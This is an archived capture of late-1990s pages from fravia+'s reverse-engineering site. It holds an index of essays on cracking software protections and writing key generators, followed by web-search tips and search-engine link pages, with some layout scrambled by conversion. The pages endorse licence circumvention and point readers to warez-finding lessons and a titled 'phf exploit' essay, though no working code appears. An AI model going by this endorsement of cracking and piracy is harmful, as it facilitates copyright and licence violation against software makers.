A good protection scheme: ZMUD 4.62


(Expiring Registration Codes - A New Breed) - by +Sync - 09 July 1997
_____Help +Sync finish a difficult crack_____
With an addition by Epic Lord! - 25 July 1997

Going undercover and browsing on your own proxy


(hiding Windows applications, cracking Wingate, registry settings) - by +Yamato - 10 July 1997

A tough protection scheme: Advanced Disk Catalog


(Redundant instructions: the undiscovered treasure) - by Aesculapius - 21 July 1997

Adobe's Pagemill Version 2


(bpmd, the 13C680 (15 days) count, registry jongling, stack adjusting) - by Kox - 25 July 1997

How to crack Business Card Designer Plus v5.00b


(The Maths behind a Key Generator) - by plushmm - 26 July 1997

Photoshop Filter Hacking


(registry monitoring) - by +daQ - 31 July 1997

ASM Keygenerator tutorial


(rippng and assembling keygenerators) - by Teraphy - 06 August 1997

Lazy software programming


(The last essay on simple password protection schemes) - by Plushmm - 11 August 1997

Windows Commander 3.02


(An "antivirale" protection scheme defeated) - by iNCuBuS++ - 11 August 1997

ASM Edit 1.82a, protected mode cracking


(An excellent use of TSR Cracking) - by madmax! - 13 August 1997

Reverse engineering Windows 95 itself


(Understanding our trade) - by +Rcg - 17 August 1997

aUTOWINNET 95 v4.0b
(An interesting protection based on a "weird" use of a keyfile) - by xOANON / UCF - 19 August 1997

razzia's Tutorial on Key Generators


(Updating a fundamental essay) - by razzia - 22 August 1997

http://www.instinct.org/fravia/student.htm (6 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

Cracking DNS WORKSHOP


(Teaching a decryption process step by step) - by razzia - 27 August 1997

PhotoVista v1.0 crack Step-by-Step


(A "smearing" protection reverse engineered) - by Nop - 27 August 1997

A "Laying Eggs" target


(reverse engineering a paranoid and tough protection scheme) - by Kox - 30 August 1997

Novell Netware 3.12


(Netware reverse engineering - basic) - by The Undertaker - 03 September 1997

Cool 3D by Ulead - up against nags and smears


(Easy unsmearing and denagging - basic) - by Drlan- 03 September 1997

Taming Monsters, finding clowns


("Easter eggs galore") - by fravia+ - 04 September 1997

Little Cracking Exercises for Newbyes: Simply 3D


(Explained easy targets for our future +friends) - by n00se - 04 September 1997

Webpages source fishing


(Javascript "protections") - by jcr - 08 September 1997

Phone Book Pro 97 v2.31.0 build 482


(Vindicating the "blacklisted" Phrozen crew) - by Silicon surfer - 08 September 1997

How to fix incomplete posted warez


(Previewing the contents of ZIP files before downloading them) - by the kenZone - 10 September 1997

Encryption, a short tutorial


(How to reverse engineer encrypted files) - by Jon - 12 October 1997

Novell Netware 3.12 (2)


(Studying the Licensed User Limits) - by The Undertaker - 13 September 1997

Fido2Int mailer v. 2.00 Key Generator


(A tough Key File Based Protection Scheme) - by Aesculapius - 13 September 1997

Symantec Visual Cafe


(Demonstration of some principles of code reading) - by Crushed_ICE - 17 September 1997

Enterprise REXX
(Reversing a "tool of the trade) - by +drlan - 18 September 1997

http://www.instinct.org/fravia/student.htm (7 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

MKS Toolkit Release 5.2


(150 identical protection schemes) - by +drlan - 18 September 1997

TTFPlus 3.3 32-bit demo


(A "quiver" in Visual Basic 5) - by Vizion - 18 September 1997

Regview: the 2 minutes crack


(encrypted counters) - by +Rundus - 20 September 1997

A little tutorial on key generators


(Netscape Cache Explorer) - by +MaLaTTiA - 20 September 1997

Jeremy Lilley's protexe! exe/com v5.5


(Exploring a weak protection scheme) - by The Undertaker - 24 September 1997

The "call relocation table" and its importance :-)


(Some teachings from a small protection inside sruler) - by fravia+ - 25 September 1997

How to Reverse Lotus SmartSuite-97


(Date coding magic number galore) - by +Rcg - 26 September 1997

Blowfish Advanced 97 beta 1


(encryption decryption) - by Jon - 12 October 1997

Wingroove V0.9e for Windows (v3.1 and Bug '95)


(the 'PrestoChangoSelector' encryption method) - by dph-man - 14 October 1997

Reverse engineering the Linux OS, a first approach


(disassembling Linux) - by SiuL+Hacky - 15 October 1997

Cracking (partially) Java Workshop 2.0


(getlocaltime and getsystemtime galore) - by +Alt-F4 - 21 October 1997 - 3 January 1998

Norton speed disk trial 1.0 for Windoze NT4


(The mysterious IRATRIAL.DLL and the "vectoring breakpoint" trick) - by FootSteps - 21 October 1997

Norton speed disk trial for Windoze NT4 (second part)


(An Addendum to the no more mysterious IRATRIAL.DLL) - by FootSteps - 27 October 1997

HyperChem 5.0 - 'Same old sauce'


("Don't lure us any more") - by +Sync - 27 October 1997

Adaptec DirectCD Upgrade - IDA for beginners


("Software updates: 'Previous version' checks") - by zeezee - 5 November 1997

http://www.instinct.org/fravia/student.htm (8 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

The 'Commercial protection schemes' serie


(saving the gullible shareware programmers from commercial crooks)

Cracking Unlocker for newbyes


(Defeating Lame Commercial Protection Schemes) - by +DataPimp - 2 November 1997

"A Software Licensing System designed to provide invisible security"


(Spectralab 4.32: How to PATCH) - by +joNaH - 11 November 1997

Dongle Bashing ~ End of the dongle old aera


(How a single +HCU reverser can easily blow a whole commercial sector out of history)
by Frog's Print - 29 January 1998

How to USE nag screens


(Nagscreens and CRC checking show us the way) - by ^pain^ - 11 November 1997

How to make key generators


(Reversing some 'mathematical' routines) - by ^pain^ - 11 November 1997

Linux cracking: the live approach (acrobat reader)


("Linux advanced reverse engineering: imported functions") - by SiuL+Hacky - 12 November 1997

Mark's 14 protector's commandments


(And other useful tricks of a programmer-cracker) - by Mark - 13 November 1997

O'Basic - a script language and a real joke


(meeting and defeating an unknown DLL) - by Pepper - 20 November 1997

Cracking MicroSoft ACCESS as a programming language


(how MS helps to open a nice program) - by Pepper - 20 November 1997

BEGINNERS: Slowly cracking a paranoid protection


(The importance of a methodological approach and an 'hidden file' scheme)
by Indian_Trail - 20 November 1997

UNBOX: Why and how to create complete Crack Systems


(RSAGNT32.DLL cracking and a nice trick to avoid difficult memory CRChecking)
by Pepper - 21 November 1997

CRACKING BORLAND'S VCL PROGRAMS


(High level languages allow high level cracking)
by +trurl - 24 November 1997

http://www.instinct.org/fravia/student.htm (9 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

MemMonitor95 Standard 4.0 and its ThunkConnect32 relations


(Half-crippled program / Unhiding an hidden window / Thunk vagaries)
by FootSteps - 24 November 1997

UncleVan's "live approach" techniques (for beginners and semy-advanced)


(simple nag-screen (-dialogs) removing, limit-protection cracking, fishing serialz, and some key- generator
programming)
by UncleVan - 29 November 1997

How to keep uptodate with the +HCU academy


(Cracking The Maze Of Essays At fravia+ Web Site)
by wlc - 29 November 1997

Software history and cracking (CuteFTP)


("Regmon and Filemon and your cracking is almost don" :-)
by +Rcg - 07 December 1997

DOS Navigator v1.50: how to spy our targets


(TSR spying and "classical old style" cracking)
by Frog's Print - 10 December 1997

Palmtops cracking (HP100/200lx)


(A -LATE- TUTORIAL FOR THE HP 100/200lx)
by Frog's Print - 10 December 1997

Kremlin 2.0: they learn, we learn


(Lesson for shareware-programmers: Don't place the protection scheme in a DLL)
by Jon - 24 December 1997

Control panel applets cracking


(Cracking Seattle Labs' SlMail 2.6 Build 1098)
by flipper - 01 January 1998

Game hack secrets


(how to stop lamers from hex-editing your cracks)
by Jon - 05 January 1998

How to crack HTMLedPro32 2.0d


(Destroy it to make it work)
by Edi - 02 February 1998

Cracked Metal, runtime dll creation


(Cracking HoTMetaL Pro 4 Evaluation Version)
by Fallen - 04 February 1998

BEGINNERS: KeyGenerator for AddItem:


(Turning a *NAG* into a keygen)

http://www.instinct.org/fravia/student.htm (10 of 12) [2/7/2001 2:54:27 PM]


student.htm +HCU projects and essays

by Jon - 12 February 1998

BEGINNERS: Use Opera! (Bye Bye Navigator ?)


(Cracking in order to help - 1) A very interesting new browser!
by Hal+ - 16 February 1998
New automated list in fieri
10 Mar Winrar [95] the other path (Encryption
+Indian_Trail ~ it_winr2.htm unass. ~ fra_00F3
98 Mechanism)
16 Mar BEGINNERS: SoftICE Install for
i_magnus ~ siceinst.htm unass. ~ fra_00F8
98 Beginners
20 Mar Cracking Rightime: Encryption and
Red Lantern ~ redla1.htm unass. ~ fra_00FB
98 checksums in a small DOS utility
Software protection history:
31 Mar
Tomboy ~ 123dos.htm Reinitializing Lotus 1-2-3 (DOS unass. ~ fra_00FC
98
versions)
31 Mar How to perform some magic reversing unass.
F_KingKrazy ~ kk_cunei.htm ~ fra_00FE
98 with good old BRW
31 Mar A complete, nake protection code:
CapedCrusader ~ capedcr.htm unass. ~ fra_00FF
98 Cracking WinZip32
31 Mar Reverse Engineering MATLAB 5 -
+Aitor ~ aitor003.htm unass. ~ fra_0100
98 Part III: Licenses
03 Apr DartPro 32 Cracking, a crippled 'save'
Entropy ~ entropy1.htm unass. ~ fra_0101
98 with encryption mechanism
23 Apr BEGINNERS: NJWin 1.6 Checksum
Kabhoet ~ new_kha.htm unass. ~ fra_0103
98 Cracking
27 Apr
Archimede ~ new_archi.htm The total reset protection scheme unass. ~ fra_0104
98
27 Apr anormal A new kind of protections ? Design
~ new_anor.htm unass. ~ fra_0105
98 kindergarten your own CPU !!
27 Apr
Masher ~ canterbu1.htm Getright: the beast within unass. ~ fra_0106
98
27 Apr CheckPop 1.1 for Windoze95/98/NT4
VucoeT ~ vuctut01.htm unass. ~ fra_0107
98 by Nevis Systems
27 Apr Diary Link 97: Menu disable and
Kabhoet ~ ne_khab1.htm unass. ~ fra_0108
98 active by Register Number

+HCU's Taxonomy!
You'll find some new "subdivisions":
http://www.instinct.org/fravia/student.htm (11 of 12) [2/7/2001 2:54:28 PM]
student.htm +HCU projects and essays

Advanced cracking

Advanced cracking series


(Started 19 Oct 1997 - Updated 12 February 1998)

Timelock cracking

TL32V20.dll
(Started 07 May 1997 - Updated 20 January 1998))

Snippets

Various "snippets" about (more or less) useful tools


(Started 28 Oct 1997 - Updated 28 January 1998)

feel free to send good commented essays


please read the Rules and regulations section before submitting an essay.

homepage links anonymity +ORC tools counter measures


cocktails javascripts search_forms antismut mail_fravia+
Is reverse engineering legal?

There is a crack, a crack in everything


That's how the light gets in
Warning: This page has been DISCONTINUED in 1998

(c) Fravia (msre) 1995, 1996, 1997, 1998. All rights reserved

http://www.instinct.org/fravia/student.htm (12 of 12) [2/7/2001 2:54:28 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

How to search: the


sublime art
There are 350 million sites out there,
doubling every four months... add to this
the 'second' internet (the new 'university
connection' net) and the wide and huge
usenet, and you already have a plethora of
universes to explore. And there are also
all the old dark web-corridors, made of

S forgotten archies (and veronikas! :-),


'obsolete' fidonets and much more...
Therefore: where, where, where is the info

E fravia's you need?


Study! If you don't master the sublime art
of searching you'll never find that what

A search you seek!


You'll be able to learn here the first
elements of this art. Once you'll have

R lab
partly updated
November 1998 understood them, you'll be able to go even
further (pretty quickly) if you learn perl
(THE language for bots building) and if
you will study and research a LOT.

C Meanwhile, for a start, you will be able to


peruse this 'heavy' search engines page
(which loads quickly anyway, since it does

H Fravia's Nofrill
not carry silly backgrounds, useless
frames or slow loading futile publicity).
There is also a "light" version, which
Web design you may want to copy onto your hard disk
(1998)
as a quick search starting point.
Since search engines do play a relevant
role when searching (duh), I have also
added a search engines' vagaries page,
that you may find interesting.
Of course, you should learn how to
search the web using inter alia my own
lessons!

Special 'Mover' for this search engines ('heavy') page


Useful tips evaluate results search engines forms (and explanations)
check which search strings others use Go to the professional search page

http://www.instinct.org/fravia/searengi.htm (1 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

inference robots and scripts Go to the how to search page


search fravia's site Go to the search engines' vagaries page

some useful tips on how to search the web!


1) Use always lowercase search strings: fravia will fetch "fravia" and "Fravia"; frAvia will fetch only
"frAvia" occurrences.

2) keep in mind that searching on the web is THE CONTRARY of a search in a normal library: in a
library, the more generic your search, the more easy it is to find what you are seeking, on the web the
more specific your search, the more easy it is to find what you are seeking. So it is relatively easy to
re-find a page that you happen to have read, even if it has changed site, as long as you remember
(well) a part of it. Try it: just cut and paste into Altavista these words (from my main page) "contains
many teachings, and will help you gain knowledge that you will not find elsewhere. Please wander
slowly inside: sip a good" (Yes, all of the preceding 'blue' words: don't forget the " and remember that
there's no limit at what you can paste inside a search engine form)... you'll find -amazingly enough-
my very page!

3) It helps to do lots of searches from lots of different search engines, each of the big engines is
different, and each has its own presentation format

For instance, Yahoo does things in categories, Alta Vista uses phrases best, and Lycos is good for
huge keyword searches. Webcrawler gives at times surprisingly good results. Hotbot has a HUGE
database, and is more than good for just quickie searches, anyway as it seems: Altavista and Hotbot
are 'going down', while Infoseek is 'catching up'... Hotbot is easyly configurated to avoid 'stale' links...
well, yes, there are quite a lot of "must know" differences between all the main search engines.
I still prefer Altavista though... my advice?

Use always (at least) TWO search engines (Infoseek and Altavista IMO) and a directory!
According to myself (and that's not a bad source of info :-) combined searches using multiple engines
increase the likelihood of finding the desired information by 4-5 times. A very good idea is also to
use one of the existing inference robots and scripts...

3) Check the traffic in your area before starting a web session at


http://www.internettrafficreport.com! Slow connections? Wait for a better moment!

4) DO NOT GET DISTRACTED! Web surfing is terribly distracting! One search session out of three
crashes before reaching the desired target because you got lost on those 'interesting side-trips' that
you found on your way (translated, this means that you moronically just forgot what you originally
wanted and began following godzilla knows which paths). Be coeherent (and be 'hard', man: real
seekers are quite concentrated fellows) write down your target and go for it (and NOTHING else until
you find it!)
Devote a minimum of 30 minutes and a maximum of 60 to your search session, that's the best time

http://www.instinct.org/fravia/searengi.htm (2 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

range IMO, less isn't enough and more bores. Remember also that real queries are made in phases:
phase one is 'broad', after a while (say a week, you must first digest and understand what you found)
you go for a more concentrated approach, and then, last phase, you really find what you wanted (after
having perused the newsgroups and searched the archies).

5) Search USENET! Remember that there are THREE search strategies and that usenet searching is
the second and very powerful one!
ONE: you search yourself (searching);

TWO: you use people that have already searched (combing), for instance on usenet, and use
the links and info that they have gathered during years-long queries (no need to re-invent the
wheel every friday)
THREE: you look what kind of people (and from where) come and sniff at the info you
provide on your own sites (klebing)... but that's advanced stuff and you'll learn it in due time...

6) I would recommend that you turn off auto image loading before submitting a request to ANY
search engine when you'll use the forms below, this will speed up your searches CONSIDERABLY.
(Come to think of it, it's always better to turn off mage loading IN GENERAL, unless you really need
to find/see images). Btw, the control about image loading options is another of the many fields where
the new slick Opera browser demonstrates its absolute superiority over both browsersaurii...
If you want to learn more about search engines, go to the search engines' vagaries page

search engines explained!


Please note that there are a couple of "all in one" forms at the bottom of this nice page

AltaVista is USEFUL: it's the largest Web index, with millions of Web pages AND articles from usenet
newgroups (and these may be REALLY useful). Altavista is still the search engine of choice for all "old
hands" of the web, yet Infoseek is now (1998) slowly catching up!

Search the Web and Display the Results in Standard Form


Submit

AltaVista can also be used to get all the page linked to your page. I can get with the following link the pages
linked to a no more existing page of mine (useful in order to find stale links): try it. Another useful method
is to use the *HTML TAGS*, if you for instance search "image:bettie", AltaVista will find quite a lot of
images about Bettie Page.
Search Method: Keyword
Data Base System: Full text, largest and more inclusive indices
Operators: If used without suitable operators Altavista produce enormous noise and little signal

http://www.instinct.org/fravia/searengi.htm (3 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

For the more paranoids (or the more careful) among you, here is a link to the anonymized Altavista
search form
(Courtesy of fravia... do not leave your tracks around!)

Yahoo (it's an attempt to catalogue the entire Web, search on a topic) Very good for beginners, well
organized.

Yahoo! Search

Search Method: Subject and Keyword


Data Base System: Limited coverage: indexed by human operators
Operators: In keyword searches selects only sites that contain ALL search words. If no exact match is
found switches automatically to AltaVista
Exite (a concept-based search engine, tries to figure out what you mean). It's awfully slow, because they
want to "impose" you to read the stupid pubs before getting on with your search. Use it only as last resource
or if you are a beginner (it's very easy).
Describe what you want to find using Excite...
Do not use query syntax in the search forms
I want to search the Web below

My search results MUST contain the words

My search results MUST NOT contain the words

My search results CAN contain the words

Display my results by document with titles & summaries 20


and results per page.

Display the top 40 results grouped by web site. Excite!

Search Method: Subject and Keyword


Data Base System: Full text, circa 50 millions docs, titles are not searched (or so it seems)
Operators: Automatic word-root search (without the need to use a joker like '*') and sorting by site
WWW Worm: It is extremely flexible, allowing regular expression searches on URL, subject and content.
In spite of its flexibility, it's not difficult to use, and there exist a straightforward tutorial.
1. Search all URL references
a. AND - match all keywords
b. OR - match any keyword 5 matches
Keywords:
Start Search

Lykos Big and slow, Lykos has a large number of binary files in its database, has greater depth than most
search engines, because it also indexes FTP archives and Gopher menus. Besides, you can search with

http://www.instinct.org/fravia/searengi.htm (4 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

Lykos per email. There are some other interesting Lykos resources as well, including a list of the frequency
of over six million words used on the Web. Lycos is one of those facilities that's almost too good, presenting
you with more information than you really need, but it's a great resource if you use it carefully to narrow
down your search.

Go Get It
Find
Lycos catalog Point reviews a2z directory

lycos_ftp normal
lycos_ftp advanced

NORTHERN LIGHT, one of the most recent search engines.

(Click redball to perform your search)

Select: All Sources -- Search the World Wide Web & Special Collection
World Wide Web -- Search the entire World Wide Web
Special Collection -- 1 million articles not on other search engines

Webcrawler fast and cool, returns surprisingly relevant results. This excellent search engine indexes the contents of Web
documents, so you can find pages that contain a particular word or phrase.

titles 25
Search the web and show for results

Search

InfoSeek Net Search Good output, their attempt to get "commercial" failed against the sound Web altruistic spirit (:-), it's now
a free service. This claims to be the largest set of searchable indexes to WWW pages and to USENET newsgroups. 1998:
INFOSEEK is getting better and better! (They value QUALITY very high!)
Search for information about:

the World Wide Web Search Now


in

Search Method:Subject and Keyword


Data Base System: Full text, over 50 million pages
Operators: detailed instructions under help

HotBot (ex Inktomi, claims to have the largest index and the best scalability in terms of keeping up with the Web's
exponential growth, claims to be able to re-index the entire Web every week)
Well known for its awful colors, this was one of the BEST search engines available, unfortunately slowed down by useless
graphics frills.

the Web all the words


for

http://www.instinct.org/fravia/searengi.htm (5 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

Search Method: Keyword


Data Base System: Full text, over 60 millions documents
Operators: Simple and advanced... detailed instructions under help

MAGELLAN

Search Reset

Internet search wizard Compuserve's forms' selection, this one you are using is better

ftp search 3000 FTP sites around the world, quite slow and busy at times. ("This server is located in Trondheim, Norway")

Archie request form (but you better use Archie trough email, see here how to do it).

Here a useful list of Archie services (gateways) in the World Wide Web. The latest version is always at
http://www.nexor.com/public/archie

All search engines of the planet... the coveted list by Andrei Nedashkovsky (some of the links do not work, though)

Planet search

And, finally, a 'portal' to the Japanese search engines... (:-)

Inference robots and scripts


I have decided to use this funny name for those scripts that allow you to query (almost) simultaneously more than one search
engine. I have two forms here for you: inference find and dogpile. Both are mighty interesting for the casual or the 'hurried'
searcher, yet I believe inference find to be a VERY USEFUL TOOL even for advanced seekers: It will not only query
AltaVista, Excite, Infoseek, Yahoo! and Webcrawler (quite a good and correctly limited choice per se), but it will present to
you SURPRISING RELEVANT ANSWERS in a special formatted *.htm file that you can IMMEDIATELY DOWNLOAD AND
USE!. Here you are:

Inference find search


Enter Query:
And click this redball:
MaxTime: 7 seconds

Well, just try it "The Intelligent Massively Fast Parallel Web Search"... usual useless hype, yet this little juwel will really

http://www.instinct.org/fravia/searengi.htm (6 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

produce an *.htm file with all links (in correct order). A file that you may immediately use... an impressive inference tool
indeed for automated bots and human searchqueries!

Dogpile web search (Dogpile is the "summa" of the main search engines)

The Web STOP Fetch


Search and then
Forty
Wait a maximum of Seconds.

Here is how you perform an e-mail search on dogpile... Infact, this is the above form "cracked".
Dogpile searches ALL main search engines and compacts the results for you. Often e-mail searches are cleverer than live
searches on the web (for the same reasons that make "dead listing" more effective than live winice approach when reverse
engineering, btw :-)

email an Agora server (be ashamed if you do not know what an Agora robot is) with following TEXT (if you want to search
for "numega" AND "softice" for instance :-)

send http://207.126.101.190/?q=%22numega+softice%22\&to=forty\&sort=key

And, last but not least, these are my all in one forms (courtesy
of fravia)
(Altavista, Excite, Lycos, Netsearch, Webcrawler, Yahoo, ftpsearch, filez.com, interpix image search)

(AV, EX, IS, LY, YA)

Search the internet for AltaVista Search

evaluate the results of your searches!


Do not forget that a most difficult art is to learn how to evaluate the results of your searches!

check which search strings others are using!


Really useful search engines allow you to check which strings others are using as queries. We have already seen (inside the
"klebing" search technique section) how important "alien" search strings are, for each one, in order to ameliorate your own
search strategies... yet it's still pretty funny to check what people look for... (and pretty sad at times :-( see how frequently
people misspell their queries, and how incredibly often strings like 'Pamela Anderson' or analoguous idiotical "slave
lemmings" subjects get search requests.
http://webcrawler.com/WebCrawler/Fun/SearchTicker.html
http://search1.metacrawler.com/perl/metaspy

http://www.instinct.org/fravia/searengi.htm (7 of 8) [2/7/2001 2:54:50 PM]


searengi.htm: How to search: the sublime art, explained by fravia+

http://voyeur.mckinley.com/cgi-bin/voyeur.cgi

use a "professional" search page on your harddisk!

You should copy the "professional" ("light") version of the search engines' forms on this same page on your hard disk and
choose it as "bookmarked" or "hot" (or as "favourite" if you are a Micro$oft's slave). Use it as your "main search engines"
starting page. You'll have quite a lot of advantages:
1) You'll have all main search engines at your fingertips

2) The search starting page won't be fetched from a busy server and will therefore load immediately
3) The search starting page won't have any images (and therefore don't suffer ANY delay whatsoever)
4) The search starting page will spare you HOURS of connection wasted time!

5) The search starting page will be edited by YOU with your own additions and comments! (send me any interesting
addition :-)

You dig it? So Shift and click on this link.

NB!: The "light" searchpage above is A MUST


for (beginner) wizard searchers!
(and you can download it for free, say "thank!" to fravia+ :-)

how to search ~ Search fravia's site

homepage links +ORC students' essays academy database


tools javascripts wars cocktails anonimity academy antismut CGI-scripts
counter measures mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998. All rights reserved

For historical reasons this page feeds an old fashioned separate Web-Counter:

http://www.instinct.org/fravia/searengi.htm (8 of 8) [2/7/2001 2:54:50 PM]


howtosea.htm: Fravia's how to search the web, jumpstation

How to
search
the web
(Updated:
July 1999)

Fravia's
lessons
based on
some
original
private
emailings
from
+ORC
Robin
Hood's
stratagems
Surreal5's
search tips
Cassandra's
search
engines
Other
essays and
tools

[go to the heavy search engines page] [go to the light search
engine page]

An introduction to web-searching
(Websearching, the sublime art)
I see it coming... in a few years (actually already now, even if most zombies establishments have not yet realized
it) one of the most important jobs will be, of course, websearcher.
We'll have many specialized branches: web-searchers, web-stalkers, web-seekers and so on. Zen and 'feeling' as
well as a very broad 'global' knwoledge will be required.
It's a good anthidot to the hyperspecialisation that has nearly brought the whole silly commercial oriented society
we are compelled to live in into a well deserved dead end: only large-minded, capable searchers will be able to

http://www.instinct.org/fravia/howtosea.htm (1 of 5) [2/7/2001 2:55:16 PM]


howtosea.htm: Fravia's how to search the web, jumpstation

keep the 'larger' over-perspective, and will be able to find ANYTHING they need (for free, of course), from
Vivaldi's Concerto n.7 in F for four violins and cello (it's on the Web) through the second edition of the Police
Criminelle, Technique et Tactique (it's on the Web) to A Western Australian survival kit for writing English (it's on
the Web).
For the first time in the history of humanity it DOES NOT MATTER ANYMORE (for knowledge purposes) if you
are located in a big rich city with huge libraries and universities or if you happen to live in the middle of nowhere
or in a very poor country!
EVERYTHING is on the Web for free! I mean: any book, any newspaper, any university paper and any image,
moreover (soon) any sound, any music!
This means that (albeit amidst mountains of useless garbage) ALL KNOWLEDGE is on the Web, for free, for you
to discover and enjoy!
If you don't believe it, just learn how to search!

A good searcher is the kind of guy that can gather in a couple of hours all the material you need to write
that nasty University Paper it would have took you at least three months to complete!
A good searcher is the kind of guy that -given half a dozen computers and stable internet access- can solve
any librarian problem for any (and wherever located!) middle sized town!
A good searcher is the kind of guy YOU will need very oft and very badly -that is, unless you learn the
sublime art of searching yourself... and that's the purpose of this section of my site: a small contribution to
the next generation of wizard searchers :-)

You'll gain here knowledge that is very 'handy', as you will see, and that you will not easily find elsewhere, even if
I have noticed that many "universities zombies" have already begonnen to use (not to spread, to use, a subtle yet
significant difference :-) the techniques that we have invented and published on this site, giving very seldom -how
characteristic of university "habitat" and mentality!- any sign of recognition of our work :-(

Anyway, I'm sure that the importance of this section will be more and more clear with the development of the Web
(or at least of the 'sound' and neither commercialized nor brainwashed part of it :-)
This is a 'living' workshop, of course, that will florish gathering more and more additions from all the great wizard
searchers among my readers (and beyond, since "real" wizard searchers will obviously find this section all by
themselves :-)
Hope to hear from you, and to receive contributions, from many searchers. Remember: the whole thing works only
if we build on the shoulders of others and if others build on our ones... if you just leech, you loose and we loose!
(that's incidentally the reason I have started with my last lesson to produce 'light' public versions and 'heavy'
versions for contributors :-(

Robin Hood... Surreal5... Cassandra... you lazy scoundrels... where are your promised next lessons and essays?

Fravia's own lessons


[Available lessons:]

lesson_5 ~ General use of agora, http:// retrieving ~ July 1996 ~ complete

lesson_6 ~ Ftping files, agora queries and emailing altavista ~ December 1996 ~ complete

lesson_7 ~ W3gate, search spiders, error messages and evaluation of results ~ March 1997 ~ complete

http://www.instinct.org/fravia/howtosea.htm (2 of 5) [2/7/2001 2:55:16 PM]


howtosea.htm: Fravia's how to search the web, jumpstation

lesson_8 ~ Advanced searching techniques (combing and klebing) ~ November 1997 ~ complete

lesson_9 ~ Searching effectively ~ Site monitoring ~ January 1998 ~ complete

lesson_10 ~ Let the bots search for you ~ and build your own search-bots :-) ~ June 1998 ~ 'light'

Robin Hood's lessons


Well, from the dark webwoods of Sherwood, all of a sudden, Robin Hood has sent me three 'promising' how to
search lessons that you should by all means read (and head). I'm very happy that good searchers start to contribute
to this section, and hope that many other searchers and stalkers will add their own findings. In fact effectively web
searching means to master techniques that are far from obvious and that anyone seriously intentioned in reversing
should master. So I'm very happy to host here these "how to search" lessons and stratagems by Robin hood.
In fact, believe it or not, on the Web ther are some 'rangers' like in Tollkien's books, people that are neither proper
hackers nor crackers, but that know how to fetch what they want, if needs be. Robin Hood seems to be one of them
and I'm glad that he decided to start helping us.
Enjoy!

Surreal5's lessons
Well, Surreal5's lessons (and his introduction) that you'll find "here", are IMO more important for the
approaches and the techniques they deal with than for their specific subjects (basically how to find warez).
Nevertheless, since warez ARE on the web (much too much, IMO) why shouldn't you learn how to find them?
This is what Surreal5 wrote:
I've tried to organise this (provisorial) essay so, that both beginners and
advanced users can get something out of each lesson, and can almost
directly use it. Even if you are already an expert on how to find the
example types i used, you may get something out of it, a different
perspective, something you hadn't thought of. I like Robin Hoods tutorial,
he has a broader experience than i do, but i feel my lessons give faster
results, with less effort spent on learning boolean ,and other tool
specifics. Consider this a crash course if you will. Consider it a
preliminary to Robin Hoods tutorial. Consider it an alternative view from a
lazy guy who wants results fast ;)

Methodolgically ('Nethodologically'? :-) Surreal5's documents are very important essays. I have tried myself some
of his tips... for instance, if you need to navigate and find goodies inside huge 'messy' sites (like mine :-) you just
add/update the relevant starting urls to a couple of quick (and reliable) search engines and let their robots do all the
work for you! Alternatively, I may add, I found the service of those little search robots like the freefind or
wired-worker's bots quite useful for searching purpose on sites that don't even need to know you have indicized
them completely :-)
Enjoy!

Cassandra's search engines


No good 'how to search' section would make any sense without some good 'homemade' search engines... of course
you can always learn how to use better the main ones, for instance on my own search engines pages, yet there
is another interesting solution by Cassandra, here it is:

http://www.instinct.org/fravia/howtosea.htm (3 of 5) [2/7/2001 2:55:16 PM]


howtosea.htm: Fravia's how to search the web, jumpstation

Here you have Cassandra's stalker


and here you have Cassandra's fetcher

They are still in a experimental phase, so bear with us and let's


hope that cassandra will send some updates
This is what Cassandra wrote to me:

I have divided my work in two parts : the Fetcher and the Stalker.
The Fetcher provides an easy-to-use access to various search engines:
Altavista, Yahoo, HotBot, Lycos, Infoseek, webcrawler, Dogpile, FTP
search, ASK SINA (an ftpsearch-like with a database containing records of
germany sites, mostly), Northern Light Search (recommanded by US army,
although it's not supposed to mean anything), Goto (formerly WWW Worm).

The stalker provides gateways to finger and whois, along with the 'dejanews
search filter' without all the ugly grafix. It's not really developped, for
stalking matter is related to the country your prey lives in.

btw, Fetcher uses frames (yes, frames!), but in a clever way : you'r never
jailed in a small portion of your browser window. If used sparingly, frames
can be useful.

Of couse, each one might grow with engines or stalking services. But i'll
develop it only if you or someone else you could give it to is interested
and find it worth growing.
Well, I hope that this 'search engines' form approach will be developed too. I'm sure my readers will immediately
understand the practicality and the convenience of having some single, well tuned, search engine forms, without
having to use the awful commercial entrances, delayed by all the crap advertisement they put on (as if they would
not gather enough money and power just LOOKING at what people search :-(

Other essays and tools


Essays, tools and papers about search-related matters
new_0101.htm: How to search: The phf exploit
by +Thor
27 April 1998
boyd1.htm: Fravia's copy of G.E.Boyd's E-Mail Servers Listing
by G.E.Boyd
June 1998, updated July 1999
unvaluable list, if you know or learn how to use these beasts. Boyd is a (the :-) famous master accmailer.
Added in July 1999:
The importance of Accmail, by fravia+

http://www.instinct.org/fravia/howtosea.htm (4 of 5) [2/7/2001 2:55:16 PM]


howtosea.htm: Fravia's how to search the web, jumpstation

kmart_s1.htm: More searching tips (Advanced searching)


by Kmart
23 December 1998
Advanced tips for advanced searchers, if you use these search techniques you can find yourself getting quite a bit
of class A, quality info

search engines - heavy ~ search engines - light ~

homepage links search engines +ORC students' essays academy database


tools javascripts wars cocktails anonimity academy antismut CGI-scripts
bots wars counter measures mail_fravia+
Is reverse engineering legal?

(c) Fravia 1995, 1996, 1997, 1998, 1999. All rights reserved

http://www.instinct.org/fravia/howtosea.htm (5 of 5) [2/7/2001 2:55:16 PM]


sealight.htm: fravia's light search engines page

Howtosearch
Daylight at the moment

Fravia's search forms and tools ...


(version May 1999)

[Search engines forms] ~ [usenet] ~ [inference forms] ~ [All-in-one forms]


Altavista Yahoo! Excite Wwworm Magellan Lykos FTP-search Webcrawler Infoseek Hotbot Northernlight

